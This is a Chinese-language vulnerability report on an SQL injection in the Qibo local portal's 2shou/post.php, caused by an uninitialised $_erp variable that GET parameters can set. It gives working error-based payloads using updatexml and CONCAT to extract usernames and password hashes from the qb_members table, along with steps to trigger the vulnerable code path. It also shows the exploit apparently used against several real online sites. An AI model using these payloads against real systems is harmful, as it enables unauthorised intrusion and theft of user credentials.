### 简要描述:
变量未初始化导致注入
### 详细说明:
齐博地方门户系统
齐博的全局过滤系统中由于存在如下代码,导致传入的参数可以成为全局变量
```
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
```
所以系统中如果存在未初始化的变量,容易导致注入
2shou/post.php中
180行
```
$postdb['list']=$timestamp;
if($iftop){ //推荐置顶
@extract($db->get_one("SELECT COUNT(*) AS NUM FROM `{$_pre}content$_erp` WHERE list>'$timestamp' AND fid='$fid' AND city_id='$postdb[city_id]'")); //此处_erp未初始化
if($webdb[Info_TopNum]&&$NUM>=$webdb[Info_TopNum]){
showerr("当前栏目置顶信息已达到上限!");
}
$postdb['list']+=3600*24*$webdb[Info_TopDay];
if($lfjdb[money]<$webdb[Info_TopMoney]){
showerr("你的积分不足:$webdb[Info_TopMoney],不能选择置顶");
}
$lfjdb[money]=$lfjdb[money]-$webdb[Info_TopMoney]; //为下面焦点信息做判断积分是否足够
}
```
这个地方还有点问题,我本地测试用常规的报错语句没问题,如下
```
and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
```
但是网上测试时,总是提示Incorrect arguments to NAME_CONST,好像是版本过低。
网上没有找到解决方案,最后根据这个语句自己构造了一个,好象是没有版本限制噢。这个语句在这个地方不能够自由控制报错的表,所以自我感觉没啥大用处,限制条件还是12个字符
```
SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);
```
构造如下
```
where (SELECT 1 FROM qb_members WHERE updatexml(1,(SELECT CONCAT(0x5b,username,0x3a,MID(password,4,16),0x5d) FROM qb_members limit 0,1),1))
```
用的时候自己修改就ok 了,不知道网上有没有。
这个地方有个积分计算,其实不用担心,因为在计算积分之前,程序已经注入完成。
由于这个地方提交表单时是 multipart/form-data 方式,起初一直想着怎么post 过去_erp这个参数,后来才发现根本就不需要post 直接get 就ok 了,也省去了去处理 multipart/form-data 方式提交数据构造。
### 漏洞证明:
首先注册会员,然后发布消息。
[<img src="https://images.seebug.org/upload/201412/17105634c7e8240afa43554c13b91b0052fd715b.jpg" alt="zz.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17105634c7e8240afa43554c13b91b0052fd715b.jpg)
选择置顶消息(此处是让程序进入if($iftop)中,其实改下提交iftop这个参数就ok.)
截断构造数据,用/**/替换空格,mysql版本低的时候可以用这个
[<img src="https://images.seebug.org/upload/201412/171111241c5679416c66d1dfab39410cd680657b.jpg" alt="cc.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/171111241c5679416c66d1dfab39410cd680657b.jpg)
出数据
mysql版本高的时候用这个。
[<img src="https://images.seebug.org/upload/201412/171506454e7e2b47b7b9ebf53745b40ac984b31e.jpg" alt="jj.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/171506454e7e2b47b7b9ebf53745b40ac984b31e.jpg)
出数据如下
[<img src="https://images.seebug.org/upload/201412/17111217de957c20285e9b840216faf53181b528.jpg" alt="zz.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17111217de957c20285e9b840216faf53181b528.jpg)
找几个网上的案例如下。
[<img src="https://images.seebug.org/upload/201412/17145402bc5722048cf00c3a551de8fe51581d9d.jpg" alt="1.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17145402bc5722048cf00c3a551de8fe51581d9d.jpg)
[<img src="https://images.seebug.org/upload/201412/17145425a7f39a7dedd4551f9efa9eb63c8d1ce2.jpg" alt="2JPG.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/17145425a7f39a7dedd4551f9efa9eb63c8d1ce2.jpg)
暂无评论